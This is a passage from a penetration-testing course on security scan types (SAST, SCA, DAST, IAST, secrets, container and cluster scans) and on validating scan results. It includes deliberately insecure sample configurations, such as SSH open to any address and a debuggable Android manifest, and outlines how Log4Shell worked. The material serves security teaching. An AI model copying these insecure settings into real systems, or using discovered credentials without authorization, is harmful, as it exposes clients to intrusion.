Severity is how bad the pattern would be if real. Confidence is how sure the tool is. Bandit's documentation explains the low rating: this rule matches strings that look like SQL being built, and raises confidence only when the string sits directly in an execute call. It has matched a shape, not traced a user. So you trace it: invoice_id comes from the URL in routes.py and reaches line 42 unchanged, and now you have a finding. The same alert on a line fed by a hard-coded constant would be a false positive (Lesson 12).

OWASP says SAST scales, repeats cheaply and names the file and line, but produces many false positives, struggles with authentication and access control, and often cannot see configuration, which is not in the code. Reading by eye, from a grep keyword search to line by line, is where OWASP's testing guide says logic and design flaws surface. Choose SAST when you hold the repository and want the exact line; choose DAST when you need to show how the running application behaves.

SonarQube's dashboard counting more than 500,000 code issues by severity, from blocker to info, across open source projects.
A code analysis dashboard
SonarSource - CC BY 3.0 - Wikimedia Commons

Infrastructure as Code: scanning the blueprint

Infrastructure as code (IaC) describes servers, networks and clusters in text files that a tool then builds: Terraform and CloudFormation templates, Helm charts, Kubernetes manifests, Dockerfiles. Text can be scanned before anything exists, which is why the objectives file it under SAST. Here is defect 4 and the shape of what trivy config . prints; the rule title is real.

# network.tf
resource "aws_security_group_rule" "ssh" {
  type        = "ingress"
  protocol    = "tcp"
  from_port   = 22
  to_port     = 22
  cidr_blocks = ["0.0.0.0/0"]     # line 7
}

network.tf (terraform)
Failures: 1 (HIGH: 1)
HIGH: Security groups should not allow unrestricted ingress to SSH or RDP from any IP address.
network.tf:7

The same command flags defect 5's Dockerfile: HIGH: Image user should not be 'root'. Checkov does the same job.

Now change one input. Suppose the line reads cidr_blocks = [var.admin_cidr], the default is 0.0.0.0/0, and production's real value sits in a prod.tfvars file you were not given.

Trivy evaluates the variables it can see, so it should report the default; rerun with trivy config --tf-vars prod.tfvars ., where the value is 203.0.113.0/24, and the finding should disappear. A template scan reports what the files say, given the inputs you supplied.

So ask for the variable files, and confirm important results on the live system, which may have drifted since (Lesson 19). The fix belongs in the template, since a change made only on the live system vanishes at the next rebuild (Lesson 10).

Software composition analysis: the code nobody at the client wrote

Software composition analysis (SCA) identifies the open source and third-party components in an application, their known vulnerabilities and often their license terms. It reads manifests and lockfiles such as pom.xml, packaged libraries, or a software bill of materials (SBOM), an inventory in a standard format such as SPDX or CycloneDX. Libraries pull in other libraries:

invoice-pdf 1.4.0
  pdf-renderer 3.2.1      direct dependency: your team chose it
    log4j-core 2.14.1     transitive dependency: pdf-renderer chose it

That last line is defect 2, and Log4Shell (CVE-2021-44228) is the real case behind it.

Apache's advisory says an attacker who controls log messages or their parameters could run code loaded from LDAP servers; Java 8 users needed 2.15.0, and even that fix proved incomplete in some configurations.

Four scans see one such service differently. SAST sees an ordinary logging call in the team's own code and reports nothing. SCA matches log4j-core 2.14.1 in the manifest to the CVE. An image scan finds the same library even inside another JAR, because Trivy reads a JAR's own metadata. DAST reports it only if a probe reaches a field the service logs and the scanner can observe the outbound lookup that follows. Grype's documentation shows how a match prints (its own example, with an older version):

NAME        INSTALLED  FIXED-IN  TYPE          VULNERABILITY   SEVERITY  EPSS          RISK
log4j-core  2.4.0      2.12.2    java-archive  CVE-2021-44228  Critical  94.4% (99th)  100.0 (kev)

EPSS estimates how likely exploitation is (Lesson 14), and (kev) marks CISA's Known Exploited Vulnerabilities catalog. A match says the component is present, not that the flawed function is ever called, so someone must read the code or run IAST to find out. And scanners disagree. Imtiaz, Thorne and Williams ran nine SCA tools against one application in 2021. Counts of vulnerable dependencies ran from 17 to 332 on its Maven projects, and they advised against relying on any single tool. The fix is an upgrade, or an override where a parent library has no new release, plus a current SBOM.

An IDE's project tree listing pom.xml, Maven Dependencies and a log4j.xml file.
What SCA reads in a Java project
WorkAgain - CC BY-SA 4.0 - Wikimedia Commons

DAST: asking the running application

Dynamic application security testing (DAST) works from outside: it sends requests to a running application and judges the responses. It needs no source code, which makes it the answer when a stem gives you only a URL. ZAP, from Lesson 8, shows the two speeds.

  • Passive scanning reads traffic passing through the proxy. ZAP's guide says it does not change responses and is considered safe.
  • Active scanning sends known attacks. ZAP's documentation calls it an attack, says not to use it on applications you do not own, and warns of real damage to functions and data, so it belongs on a test environment named in the ROE.

Defect 6 is a passive result. This sample alert uses the rule's real details and a fictional URL:

Alert:    Content Security Policy (CSP) Header Not Set   (rule 10038-1, passive)
Risk:     Medium
CWE:      693     WASC: 15
URL:      https://portal-staging.example.com/invoices
Solution: set the header on the web server, application server or load balancer

The solution line explains why SAST missed it: the setting lives on a load balancer, outside the repository. A test login widens what DAST reaches, as with authenticated scans in Lesson 10: logged out, the crawl stops at the sign-in page. Even then, ZAP's documentation says broken access control "will not be found by any active or automated vulnerability scanning". That is defect 9: a driver opening another driver's invoice gets a normal page, and only a person knows it should have been refused.

Try the quiet version in your lab: browse Juice Shop at 127.0.0.1:3000 through ZAP's Manual Explore, read the Alerts tab, and leave active scanning off.

Burp Suite's site map and request history for bWAPP, a deliberately vulnerable demo application running on localhost.
Burp Suite mapping a practice site
Mvb71 - CC BY-SA 4.0 - Wikimedia Commons

IAST: a sensor inside the running application

Interactive application security testing (IAST) joins the two views. NIST describes an agent in the test runtime, for example instrumenting the Java virtual machine; OWASP's guideline describes sensors that watch code and data flow while a test or a person exercises the application. Seeing the request and the code at the same moment, it can report both. Products differ, so this is the kind of record to expect, not any vendor's format:

SQL injection (CWE-89)
Request:  GET /invoices/1042, sent by the QA test suite
Source:   query parameter "id", read at routes.py:17
Sink:     conn.execute(), invoices.py:43, value joined into the SQL text

The limit is coverage: if the test suite never opens the export page, the sensor is silent about it. IAST also needs an agent on the server, which the ROE must allow, and a supported runtime. Public documentation is thin and mostly from vendors, so learn the concept, and if the client already runs one, ask for its results. The exam shortcut: agent plus tests means IAST; no agent means DAST.

Java and Python source compiled to bytecode and run on Java virtual machines on a PC and a phone.
The Java virtual machine, where an IAST agent loads
Dcoetzee ( File:Computer-blue.svg by OpenClipart,... - CC0 - Wikimedia Commons

Mobile scans: take the package apart, then watch it run

A mobile scan starts from something you can hold: an Android APK or an iOS IPA. You need no source code, though OWASP's testing guide strongly advises asking for it. MobSF, the Mobile Security Framework, is the open source tool to know: its static analyzer reads packages and source, and its dynamic analyzer runs the app on emulators, simulators or physical devices. Static analysis starts with the manifest, where defect 7 begins (fictional excerpt; Lesson 22 covers attacks on phones):

<application
    android:debuggable="true"
    android:allowBackup="true"
    android:usesCleartextTraffic="true">

Android's documentation defines each: the app can be debugged even on a user's phone; it takes part in backup and restore; it intends to send cleartext traffic. Static analysis also turns up hardcoded keys and each bundled software development kit (SDK), which is SCA on a phone. Dynamic analysis shows what the app stores and sends when it runs. Neither tests the server behind the app, so run DAST on its API too. The fixes: release builds with the debug flag off, a network security configuration, and keys moved to the server.

Android Studio's project tree with the AndroidManifest.xml file highlighted in red.
The manifest in an Android project
Android Studio - CC BY-SA 4.0 - Wikimedia Commons

Secrets scanning: TruffleHog and the verification question

Secrets scanning hunts credentials stored where they should not be, like the Toyota key from Lesson 6. TruffleHog is the exam's tool. Its README, checked at release 3.99.8 on 3 November 2026, still says it classifies over 800 secret types, and it searches Git history, filesystems, images, object stores and logs. History is the point: Git keeps every commit, so defect 3 is in no current file, and a scan of the files as they stand may miss it. Here is a fictional result in TruffleHog's format, from trufflehog git file://. --no-verification:

Found unverified result
Detector Type: AWS
Raw result: AKIA[rest removed]
Line: 3
Commit: [hash removed]
File: config/deploy.env

The first line carries the status, which is what separates this tool from grep.

StatusWhat it meansWhat it does not mean
verifiedThe provider's API accepted the credential at that momentThat you know everything it can reach
unverifiedDetected, not confirmed: invalid, expired, or verification was offThat it is dead
unknownVerification was tried and failed, as with a network or API errorAnything at all about the credential

The README says that for every secret it can classify, TruffleHog can "log in to confirm" whether it is live; for an AWS key, it makes a GetCallerIdentity call with that key. Verifying a credential is using it, so it needs written permission like any other use. It is on by default, which means a bare scan command tries every credential it can classify. The call lands in the client's CloudTrail under your address. A decoy key planted to raise an alarm when used can wake the client's security team (the AWS detector's source lists accounts of one such service, Canarytokens).

TruffleHog's analysis feature, which sends many requests to learn what a credential can reach, needs its own permission.

So on a client job, run with --no-verification unless the ROE names verification, and send each candidate to the client's named contact, who can check its status in their own console without anyone using it.

Now change one flag. Many README examples use --results=verified, which prints only verified results. From an isolated network the call cannot reach AWS, so the status is unknown, the filter drops it, and the screen stays empty. The same happens with a password for an internal database you cannot reach. An empty verified-only run says nothing about whether secrets exist.

Trivy finds secrets too, masking the match, and its documentation describes no step that tests the credential; choose TruffleHog for Git history and classification. The fix starts with rotation: GitHub's guidance says to revoke or rotate first, because rewriting history cannot reach existing clones and forks. Then use a secrets manager, and add the pre-commit hook and pipeline check TruffleHog supports.

The core of it: finding a secret is reading, and verifying a secret is using it. Get the second in writing first, and never read "unverified" as "dead".

A diagram of common Git operations moving work between working files, the stage, local branches, a clone and a remote.
How commits travel in Git
Daniel Kinzler - CC BY 3.0 - Wikimedia Commons

Container images: what Trivy and Grype read in the layers

Container scans take two forms: the image at rest, and the running container from beside it (next section). NIST SP 800-190 calls images effectively static archive files and names five image risks. Trivy and Grype match package versions to advisories for the first, image vulnerabilities. Trivy also checks configuration defects and embedded clear text secrets, and TruffleHog's docker mode finds secrets too. Embedded malware is on neither scanner's list, and untrusted images are a policy question.

Try both on Juice Shop in your lab: sudo trivy image --skip-db-update bkimminich/juice-shop and sudo grype bkimminich/juice-shop. It is deliberately vulnerable, so expect long lists. Trivy's output looks like this, abridged from its documentation with the image renamed:

portal:1.4 (alpine 3.20.5)
Total: 6 (UNKNOWN: 2, LOW: 0, MEDIUM: 2, HIGH: 2, CRITICAL: 0)
Library     Vulnerability   Severity  Status  Installed  Fixed     Title
libcrypto3  CVE-2024-12797  HIGH      fixed   3.3.2-r1   3.3.3-r0  openssl: RFC7250 handshakes with...
TrivyGrype
FindsVulnerabilities, misconfigurations, secrets and licenses in images, filesystems, repositories, VM images and KubernetesKnown vulnerabilities in images, filesystems and SBOMs; its companion Syft builds SBOMs
Choose it whenOne tool should cover image, templates and clusterYou are re-scanning stored SBOMs, ranking by likely exploitation, or want a second opinion

Expect the two totals to differ; the SCA study named database accuracy as a key differentiator. Trivy also prefers vendor advisories for operating system packages, because vendors backport fixes, the false positive Lesson 12 opens on.

Now scan the same image next month, byte for byte, with a fresh database, and new rows should appear. NIST makes the point: an image free of known flaws when built does not stay that way. So your evidence needs the tool version, the database date (grype db status shows Grype's) and the image digest rather than a tag such as latest, because a tag can move. The fix, NIST says, goes upstream: rebuild the image from a patched base and redeploy, not patch a running container.

Tags moved in a real case. On 19 March 2026 an attacker with stolen credentials published a malicious Trivy v0.69.4. The attacker also force-pushed 76 of the 77 version tags in the trivy-action GitHub Action to credential-stealing code. Images referenced by digest were spared (Aqua advisory GHSA-69fq-xp46-6x23; the current release is v0.76.1). So pin scanners by digest or commit hash, and check a tool's advisories before pointing it at a client's code.

A hand-drawn comparison of virtual machines and containers, with each container holding its app plus bins and libraries on one Docker engine.
Containers carry their own libraries
Drinkler - CC BY-SA 4.0 - Wikimedia Commons
A diagram of Docker's client, host and registry, with docker build, pull and run commands moving images into containers.
Images move from registry to host
DaniloBarros - CC BY-SA 4.0 - Wikimedia Commons

Sidecar scans: a scanner in the same pod

CompTIA lists sidecar scans without defining them, and we found no standard that does, so this is the working meaning, built from Kubernetes' documentation and two published designs. In Kubernetes, a pod is one or more containers sharing a network namespace, and a sidecar is a secondary container beside the main one. A sidecar scan puts a scanner or run-time sensor in that position, so it examines a live container from next door. MITRE's kube-secure-scanner publishes this design (trimmed here):

spec:
  shareProcessNamespace: true     # the scanner can see the app's processes
  containers:
  - name: app
  - name: scanner

With the process namespace shared, Kubernetes documents that each container's filesystem is visible to the others through /proc/$pid/root, which is how the scanner reads the running app.

AWS GuardDuty is the second real example: Fargate tasks cannot be changed after they start, so it adds a sidecar to each new task at launch to collect run-time events.

A pipeline or registry scan sees the image at rest and nothing at run time. A node agent sees every pod on its node, but needs the node, which serverless platforms such as Fargate do not offer. A sidecar sees one live pod from inside, at the cost of changing the pod specification and running for the pod's whole life.

MITRE's risk analysis says the sidecar breaks container isolation for as long as the pod lives, and Kubernetes warns that passwords passed as arguments or environment variables become visible too. So use it only where the ROE allows changing a pod, record the change, and remove it at cleanup (Lesson 26).

Kubernetes clusters: Kube-hunter on the exam, Trivy at work

Kube-hunter looks for weaknesses in a running cluster. It is on the exam, but its README now opens with a notice that it is not under active development and that Aqua recommends Trivy; its latest release is v0.6.8, from May 2022. Learn its three positions:

  • any outside machine (--remote) gives an attacker's-eye view
  • a machine in the cluster (--interface) shows what its network interfaces reach
  • a pod (--pod) shows how exposed the cluster is if an application pod is compromised

By default it needs no credentials, and a normal hunt never changes the cluster's state. --active may exploit what it finds, which the README warns could be harmful. The README says never to run the tool on a cluster you do not own. Your lab has no cluster, so stop at kube-hunter --list, which prints the tests without contacting anything. A result row has six columns: ID, location, MITRE category, name, description and evidence. This fictional row uses a real ID and wording for defect 8:

KHV005 | 192.0.2.20:6443 | Initial Access // Exposed sensitive interfaces | Unauthenticated access to API | The API Server port is accessible. [wording shortened] | [response removed]

Trivy is the working replacement. trivy k8s --report summary connects with your kubeconfig under a role that can list resources. Its documentation still marks this experimental, and by default a node-collector job runs inside the cluster, so the ROE must allow that, or use --disable-node-collector and lose the node findings. If a stem asks for an outside view with no credentials, think Kube-hunter; if it offers a kubeconfig, think Trivy.

A Kubernetes architecture diagram: the API server, scheduler and etcd on a master, with kubelets and pods on each node.
What a cluster exposes
Khtan66 - CC BY-SA 4.0 - Wikimedia Commons

A worked performance-based question: one key, one clause, two decisions

You are testing Meridian's portal. ROE clause 7 reads: "No credential found during testing may be used, including to test whether it is valid, without written approval from the named security lead." Four results:

ToolResult
ATruffleHog, --no-verificationAWS, unverified, AKIA[rest removed], config/deploy.env line 3, commit of March 2024; file deleted in the next commit
BGrype, PDF service imagelog4j-core 2.14.1, fixed in 2.15.0, CVE-2021-44228, Critical, (kev)
Ctrivy configHIGH: SSH open to any address, network.tf:7
DZAP passive, stagingMedium: Content-Security-Policy header not set

Decide: the order for the client, and whether any goes today; and whether you may confirm the key is live.

  1. Order: A, B, C, D, with A today. A severity column would put B first, because TruffleHog gives A no severity at all. But AKIA marks a long-term key (Lesson 8), which works until someone turns it off, and anyone who can read the repository can recover it, so it goes through the escalation path the same day. B follows closely: Critical, with a KEV entry, though someone must still read the code to learn whether the service logs anything a user controls (Lesson 12). C is a template result not yet confirmed live. D is a missing protection, not a flaw an attacker can use by itself.
  2. Confirm the key? No. Rerunning without --no-verification would breach clause 7. Send the redacted candidate to the security lead and ask them to check it. "Deleted in the next commit" changes nothing, because Git kept it.

Second run, one changed input. The security lead emails written approval to verify that one key today. If it returns verified, A is a confirmed live key: Critical. You stop there, because approval to verify is not approval to explore, and the incident path takes over. If unverified, it probably no longer logs in: severity falls, but the finding stays open as a control failure until the client confirms rotation. If unknown, you have learned nothing about the key, so check your own network and say so.

The whole family at a glance

ScanWeakness it looks forToolsWhat defenders seeFix
SAST, source code analysisUnsafe patterns; untrusted data reaching a sinkBandit, SemgrepA clone in repository logsFix the code; rule in IDE and pipeline
SAST, IaCInsecure settings in templatesTrivy, CheckovNothing on the networkFix the template, not the live system
SCAKnown flaws in third-party componentsGrype, TrivyNothing on the networkUpgrade; keep an SBOM
Secrets scanningCredentials in files and historyTruffleHog, TrivyRepository reads; provider logs if verifiedRotate first; secrets manager; pre-commit hook
Image scanOutdated packages, root user, embedded secretsTrivy, GrypeRegistry pullsRebuild from a patched base; pin by digest
Sidecar scanRun-time state of one podkube-secure-scanner, GuardDutyExtra container; new pod in the audit logFix in the image; remove the scanner afterward
Cluster scanExposed services; weak cluster settingsKube-hunter, TrivyProbes in audit logs; list calls; a new jobAnonymous access off; tighter role-based access control (RBAC)
DASTFlaws visible from outsideZAP, Burp SuiteRequest bursts; error spikes; firewall alertsFix the app or server; retest
IASTFlawed data flow during testsContrast, SeekerAn agent in the processFix the named line; widen test coverage
Mobile scanRisky manifest flags; hardcoded keysMobSFTest phone traffic, if dynamicRelease settings; keys off the phone

Exam cues: what the stem hands you, and the scan it points to

The stem saysIt points toDo not confuse it with
"Only a URL", "no source code"DASTSAST, which needs the code; IAST, which needs an agent
"Agent", "sensor", "during QA tests"IASTDAST, which has no view inside
"Open source libraries", "dependencies", "SBOM"SCASAST, which reads the code the team wrote
"Terraform", "before deployment"IaC scan, a form of SASTA live cloud audit (Lesson 19)
"API key in an old commit"Secrets scanning of Git history; TruffleHogSAST of the current code
"Confirm the key is live"TruffleHog verification, with written permissionDetection, which only reads
"One tool for vulnerabilities, misconfigurations and secrets"TrivyGrype, which reports vulnerabilities only
"Rank by EPSS and KEV"GrypeTrivy, which shows severity and fix status
"Same pod", "shared process namespace"Sidecar scanNode agent or registry scan
"Attacker's view of the cluster", "no credentials"Kube-hunter in remote modeTrivy, which connects with a kubeconfig
"Change the invoice number"Manual testing for broken access controlAny automated scan

How these scan findings are reported

A scanner's row is evidence, not a finding: you add what it means. Here is result A, written as you would for a client.

  • Title: AWS access key remains in the invoice-portal Git history.
  • Severity: High pending the client's check, Critical if the key is active. Anyone with repository read access can recover it, and an AKIA key does not expire by itself. Its status and rights were not tested, as ROE clause 7 requires.
  • Evidence: TruffleHog 3.99.8, trufflehog git file://. --no-verification, run on the stated date. Detector AWS, status unverified, config/deploy.env line 3, commit [hash removed]. Value redacted. Key not used.
  • Root cause: a credential was committed in a configuration file. Deleting the file removed it from the current tree, not from history, and no pre-commit or pipeline secrets check was in place.
  • Remediation: deactivate and replace the key first. Review CloudTrail for use since March 2024. Move to a secrets manager or short-lived role credentials. Add TruffleHog as a pre-commit hook and a CI/CD check. Rewrite history only afterward, knowing it cannot reach existing clones and forks. Retest with the same command.

The other scans follow the same shape. An SCA finding says "present" or "reachable" and which you proved. An IaC finding says whether it was confirmed live. An image finding gives the digest and database date. A DAST finding gives the request, response and environment. List what went unscanned as limitations, such as "prod.tfvars not supplied".

Common misconceptions

  • "A clean SAST report means the code is safe." SAST struggles with authentication and access control, and often cannot see configuration.
  • "Deleting the file removes the secret." Git keeps every commit, and clones keep their copies. Rotate first.
  • "Unverified means dead." It means not confirmed: verification may have been off, blocked or unable to reach the service.
  • "Verification is a harmless part of scanning." It uses the credential, shows in the provider's logs and needs written permission.

Summing up

  • SAST reads code without running it, through source code analysis and IaC; it names the line but misses logic flaws and settings outside the code.
  • SCA matches third-party components, including transitive ones, to known vulnerabilities; presence is not proof of use, and nine tools in one 2021 study reported 17 to 332 vulnerable Maven dependencies for one application.
  • DAST needs a running application and no source; ZAP's passive scanning is considered safe, and its active scanning is an attack.
  • IAST is an agent plus test traffic: it reports the request and code line, and is silent about code the tests never run.
  • TruffleHog classifies over 800 secret types and reports verified, unverified or unknown. Verifying is using the credential, needs written permission, and is on unless you pass --no-verification.
  • Trivy finds vulnerabilities, misconfigurations, secrets and licenses; Grype finds known vulnerabilities, ranked with EPSS and KEV. Record tool version, database date and image digest.
  • A sidecar scan puts the scanner in the same pod, often sharing its process namespace, which needs a pod change and weakens isolation.
  • Kube-hunter runs remotely, on a cluster machine or in a pod, needs no credentials by default, changes state only with --active, and is no longer actively developed.

Sources

  1. Truffle Security. (2026). TruffleHog (Version 3.99.8): README and AWS detector source. github.com
  2. Anchore. (2026). Grype (Version 0.121.1): README; Interpreting the results; Configuration. github.com
  3. Aqua Security. (2026). Trivy (Version 0.76.1): README and guide; trivy-checks (AWS-0107, DS-0002); kube-hunter README; and Advisory GHSA-69fq-xp46-6x23, March 21, 2026. Trivy guide; kube-hunter; advisory
  4. Souppaya, M., Morello, J., and Scarfone, K. (2017). Application container security guide (NIST SP 800-190), sections 3.1 and 4.1; and Chandramouli, R. (2022). Implementation of DevSecOps for a microservices-based application with service mesh (NIST SP 800-204C), section 4.8. National Institute of Standards and Technology. SP 800-190; SP 800-204C
  5. OWASP Foundation. (n.d.). Source code analysis tools; Static code analysis; DevSecOps guideline: Interactive application security testing; Mobile application security testing guide. SAST tools; MASTG
  6. ZAP Dev Team. (n.d.). Active scan; Getting started; Alert 10038-1. getting started
  7. The Kubernetes Authors. (n.d.). Sidecar containers; Pods; Share process namespace between containers in a pod. kubernetes.io. MITRE. (n.d.). Kube secure scanner: Sidecar container approach; risk analysis. mitre.github.io
  8. Amazon Web Services. (n.d.). Deploying the security agent to Amazon ECS on Fargate; Logging IAM and AWS STS API calls with AWS CloudTrail. GuardDuty; CloudTrail
  9. Imtiaz, N., Thorne, S., and Williams, L. (2021). A comparative study of vulnerability reporting by software composition analysis tools. arXiv:2108.12078. arxiv.org
  10. Apache Software Foundation. (n.d.). Log4j security vulnerabilities (CVE-2021-44228). logging.apache.org
  11. Other documentation read 3 November 2026: PyCQA, Bandit B608; MobSF README; Bridgecrew, Checkov README; Android Developers, application element; GitHub Docs, Removing sensitive data from a repository. Bandit; MobSF; Android; GitHub
Key terms
Static application security testing
SAST: examining an application's source code, bytecode or binaries for flaws without running it.
Dynamic application security testing
DAST: testing a running application from the outside by sending requests and judging the responses; it needs no source code.
Interactive application security testing
IAST: an agent or sensor inside a running application watches data flow while tests exercise it, then reports the request and the code line together.
Software composition analysis
SCA: identifying the open source and third-party components in an application, along with their known vulnerabilities and license terms.
Infrastructure as code
IaC: defining servers, networks and clusters in text files that a tool deploys, which means they can be scanned before anything is built.
Software bill of materials
SBOM: an inventory of the components in a piece of software, in a standard format such as SPDX or CycloneDX.
Taint analysis
Following a user-controlled value through a program to see whether it reaches a dangerous function, the sink, without being sanitized.
Secrets scanning
Searching files, Git history, images and logs for credentials stored where they should not be.
Credential verification
Testing a discovered credential against its provider, such as an AWS GetCallerIdentity call; this is use of the credential and needs written permission.
Sidecar scan
A scanner or sensor running as a second container in the same Kubernetes pod as the workload, examining it live, often through a shared process namespace.

True, False, or Missing: Validating Results and Choosing Public Exploits

  • Classify reconnaissance, scanning and enumeration results as true positives, false positives or false negatives, and apply a written validation step before any finding is reported.
  • Prove scan completeness and troubleshoot scan configurations from a tool's own record, including failed logins, timing limits and blocked probes.
  • Modify Bash and Python scripts that re-test results by a second method and compare them with a control.
  • Judge a public exploit by reading it first and weighing its match to the target, its reliability, its effect on production and the rules of engagement.

The patch that kept the old version number

On 1 July 2024, Ubuntu fixed a remote code execution flaw in the OpenSSH on its 24.04 servers, and the fixed software went on announcing itself as version 9.6p1, a number inside the vulnerable range. A tool that only compares version numbers will call that server vulnerable for as long as it runs. Here is what that does to a status note from Jonas, a fictional tester on his first solo job, about Brightwater Clinics, a fictional client whose scope is 203.0.113.0/26, which is 62 usable addresses.

1 CRITICAL  203.0.113.20  CVE-2024-6387, remote code execution in OpenSSH.
            Evidence: scanner result; banner SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.3
2 CLEAN     203.0.113.21  File server. Authenticated scan: 0 missing patches.
3 COVERAGE  All 62 in-scope hosts scanned, all ports.
4 NEXT      Tonight: run a public exploit for line 1 to prove impact. Found a
            GitHub repo with 400 stars that promises a root shell.

Every fact in that note came from a tool, and all four conclusions are wrong, each in its own way. Those four failures are what objective 3.2 tests, and they need names.

The weakness is really thereThe weakness is not there
The tool reports itTrue positive. Report it, with proofFalse positive. Costs the client time and costs you credibility
The tool says nothingFalse negative. The client believes a hole is closed, the worst of the fourTrue negative. Correct, but you only know that if the test truly ran

Scanners make both errors routinely. NIST SP 800-115 warns of high false positive rates and of flaws that signature-based tools miss, and tells assessors not to simply accept a scanner's risk ratings.

In short: tool output is a claim. You report what you confirmed and label the rest as unconfirmed.

Exam objectives: 3.2 (validating scan, reconnaissance and enumeration results: false positives, false negatives, true positives, scan completeness and troubleshooting scan configurations; public exploit selection; using scripting to validate results).

A diagram of dots and rings in which a circle of retrieved items covers true positives and false positives, with false negatives and true negatives outside it.
True and false positives and negatives
Walber - CC BY-SA 4.0 - Wikimedia Commons

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A second look at a host is a second touch of that host, and it needs the same authorization as the first. Jonas's client is fictional. Every command you run names your own lab: Metasploitable at 192.168.56.102 and Juice Shop at 127.0.0.1:3000, from Kali with its NAT adapter disconnected. No exploit runs here and no exploit code appears. Nessus needs an account, so its output appears only as samples.

Line 1: how backporting produces a false positive

The scanner read the banner and found 9.6p1 inside the range Qualys published for CVE-2024-6387: 8.5p1 up to, but not including, 9.8p1. The flaw allows remote code execution (RCE), meaning an attacker's code runs on the server over the network, here with no login. The number matched, so the scanner raised the alarm.

Lesson 7 told you a banner is a claim. Here is why this one misleads. Distributions rarely jump to a new upstream release to fix one bug, because that can break whatever was built on the old one. They copy the fix into the release they already ship, which is backporting. Red Hat warns that the version number alone will not say whether a package is vulnerable, and that tools deciding on version alone produce false positives.

Ubuntu's notice USN-6859-1 lists the fixed package for 24.04 as 1:9.6p1-3ubuntu13.3. A Debian-style version reads epoch, upstream version, then the distribution's revision, and only the revision changed. That revision also appears in the banner, unless an administrator turned it off with the DebianBanner setting. So one plugin and one upstream version can give three verdicts.

Banner on port 22Installed package, from an authenticated checkVerdict
OpenSSH_9.6p1 Ubuntu-3ubuntu13.31:9.6p1-3ubuntu13.3, the fixed versionFalse positive (Jonas's host)
OpenSSH_9.6p1 Ubuntu-3ubuntu131:9.6p1-3ubuntu13, an earlier package without the fixTrue positive
OpenSSH_9.6p1No login allowed, so unknownUnconfirmed: the banner cannot decide

Two characters, the final .3, flip the verdict. The suffix is a good hint but still a claim. Proof comes from the package system, using credentials the client supplied. On Debian and Ubuntu, use dpkg -s openssh-server | grep Version. On the Red Hat family, use rpm -q --changelog openssh-server and look for the CVE number. Compare the answer with the vendor's fixed version, never with the upstream number. Try this in your lab: on Metasploitable's console, as msfadmin, that dpkg command should show something like Version: 1:4.7p1-8ubuntu1.

Good scanners tell you how far to trust a result, if you look. Greenbone's Quality of Detection (QoD), used with OpenVAS, scores each result by how it was found.

QoDTypeHow the test decided
100%exploitAn exploit proved it
97%package, registryAuthenticated: read installed packages or the Windows registry
80%remote_bannerBanner of a product that shows its patch level
30%remote_banner_unreliableBanner with no patch level, common in open source because of backports

By default Greenbone displays only 70% and above, and warns that lower results are prone to false positives. Notice the trade: that filter also hides real weaknesses that only a weak test noticed. Tenable Nessus makes a similar trade with Safe Checks, on by default, which use banner grabbing rather than active testing.

The validation step every result must pass

Lesson 7 promised a validation step before any finding is reported, and Lesson 9 told you to note which results you checked by hand. Here it is, for any output from OSINT to a vulnerability scanner.

  1. State the claim. One sentence: this weakness, on this host and port.
  2. Ask how the tool knows. A banner, an active response, a package list, someone else's index? Read the result's detail, not its title.
  3. Check it a different way, by hand. This is the manual check. A different method fails differently, while rerunning the same scan proves only that the tool is consistent.
  4. Run a control. A negative control asks something that cannot be true, such as a page that cannot exist. A positive control points your setup at something it must find, such as Telnet on Metasploitable.
  5. Record a verdict. Confirmed, false positive or unconfirmed, with the command, date, source address and raw output, in the evidence file from Lesson 9.

A sensible default is every Critical and High result by hand, then scripts and a recorded sample for the rest, unless your firm sets its own rule. If a check would need more than verification, stop and read the ROE: NIST says target validation carries the greatest risk of any assessment technique.

The same check across reconnaissance, scanning and enumeration

ResultWhy it can misleadSecond check and toolsWhat defenders see
Subdomain from certificate transparency logsThe certificate outlives the hostLook it up with dig; compare the address with scopeA DNS lookup at most
Open port in Shodan (needs an account)An earlier crawl, not today's stateYour own scan, if in scopeA connection in firewall logs
CVE matched on versionBack-ported fix; edited bannerVendor notice plus a package queryA login by the scan account
Secure Sockets Layer (SSL) 3.0 offeredA load balancer answered, not the serversudo nmap --script ssl-enum-ciphers -p 25 192.168.56.102 in your labMany connections; Nmap files this script under intrusive
Web path foundSoft 404: every path returns 200Control request: softcheck.shOne more line in web logs
Mail user existsA 252 reply means the server will not verifySame question with a name that cannot existVRFY lines in mail logs

The objectives' acronym list writes "Secure Socket Layer", but the protocol's name in RFC 6101 is Secure Sockets Layer, the predecessor of TLS. RFC 7568 says SSL 3.0 must not be used, so a confirmed result is a real finding, filed against whichever device answered.

Line 2: the clean host nobody actually examined

Zero missing patches sounds like good news. Apply step 2: how does the tool know? An authenticated scan logs in and reads what is installed, so zero means either fully patched or never got in. The scan's own record says which. In Nessus, plugin 19506 prints each host's scan settings, and other plugins report login problems. This sample is fictional, and wording varies by version.

Host 203.0.113.21
  19506   Nessus Scan Information
          Credentialed checks : no
  104410  Target Credential Status by Authentication Protocol - Failure for Provided Credentials
  21745   OS Security Patch Assessment Failed

The login failed, so the patch checks never ran. The honest statement is "not assessed", and it goes in the limitations. Now change one input: the administrator fixes the service account, you rescan, the line reads Credentialed checks : yes, as 'svc_scan' via ssh, and 31 missing patches appear. Same host, same scanner, opposite story. Learn the third state too: plugin 110385, Insufficient Privilege, means the login worked but the account could not read everything, so partial results look complete.

A false negative produces no output of its own, so you look for it in the scan's setup. These are the usual causes.

  • A login that failed or lacked privilege.
  • A port outside the list. A default Nmap scan covers 1,000 ports, and Metasploitable's distccd on 3632, which Rapid7's guide says an attacker can abuse to run commands, is not among them.
  • A test turned off or filtered out: Safe Checks, a narrow policy, a QoD filter.
  • A stale plugin set or feed. A scanner cannot flag what its plugins do not contain, and plugin 19506 reports the set's version.
  • A broken script, like smbcheck.sh in Lesson 9, which printed nothing with port 445 wide open.

To test for these, use a positive control: if your policy cannot find Telnet on Metasploitable, it cannot find Telnet anywhere. NIST adds a second tactic, comparing more than one scanner. Neither makes a false negative impossible, which is why a report says what was tested rather than promising the host is secure.

Line 3: proving scan completeness from the tool's own record

"All 62 hosts, all ports" can be tested, because Nmap writes down what it did. The XML you parsed in Lesson 9 records the ports planned per protocol and lists the hosts found up. This script compares it with a scope file holding one address per line.

#!/usr/bin/env python3
"""coverage.py SCOPE.txt SCAN.xml: what did this Nmap scan actually cover?"""
import sys
import xml.etree.ElementTree as ET

